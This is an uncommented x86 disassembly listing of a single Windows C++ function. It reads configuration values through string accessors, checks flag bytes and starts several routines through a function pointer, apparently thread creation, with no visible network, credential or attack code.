push ebx
push ebx
push eax
push 0xcff25
setne cl
push ebx
push ebx
mov byte [eax + 1], cl
call edi
push 0x16
mov ecx, esi
call fcn.000c180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], 1
jne 0xc96f5
push 2
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp + 0x10], eax
push 0x35
mov ecx, esi
mov byte [eax], 1
call fcn.000c180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], bl
mov eax, dword [ebp + 0x10]
push ebx
push ebx
push eax
push 0xcff25
setne cl
push ebx
push ebx
mov byte [eax + 1], cl
call edi
push 0x23
mov ecx, esi
call fcn.000c180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], 1
jne 0xc9765
push 0x26
mov ecx, esi
mov byte [0xda22a], 1
call fcn.000c180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push 0x25
mov ecx, esi
call fcn.000c180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
mov al, byte [eax]
push eax
lea eax, [ebp - 0x38]
push eax
call fcn.000d2f89
add esp, 0xc
mov ecx, 0xda1e8
push eax
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int______thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__]
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
push ebx
push ebx
push ebx
push 0xc1519
push ebx
push ebx
call edi
push 0x2b
mov ecx, esi
call fcn.000c180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], 1
jne 0xc97b3
push 0x2d
mov ecx, esi
call fcn.000c180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
pop ecx
push eax
push 0x2c
mov ecx, esi
call fcn.000c180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], bl
setne al
push eax
call fcn.000c7924
pop ecx
pop ecx
lea eax, [ebp - 0x38]
push eax
call fcn.000d1b25
pop ecx
push eax
mov ecx, 0xdacd0
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int______thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__]
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
mov eax, dword [0xdaca8]
cmp eax, ebx
je 0xc97de
push ebx
call eax
push ebx
push ebx
push ebx
push 0xc9cf7
push ebx
push ebx
call edi
cmp byte [0xdad5c], bl
je 0xc97fe
push ebx
push ebx
push ebx
push fcn.000ca582
push ebx
push ebx
call edi
cmp byte [0xdad40], bl
je 0xc9812
push ebx
push ebx
push ebx
push 0xcaabd
push ebx
push ebx
call edi
call fcn.000cc695
lea ecx, [ebp - 0x48]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
lea ecx, [ebp - 0x58]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret 0x10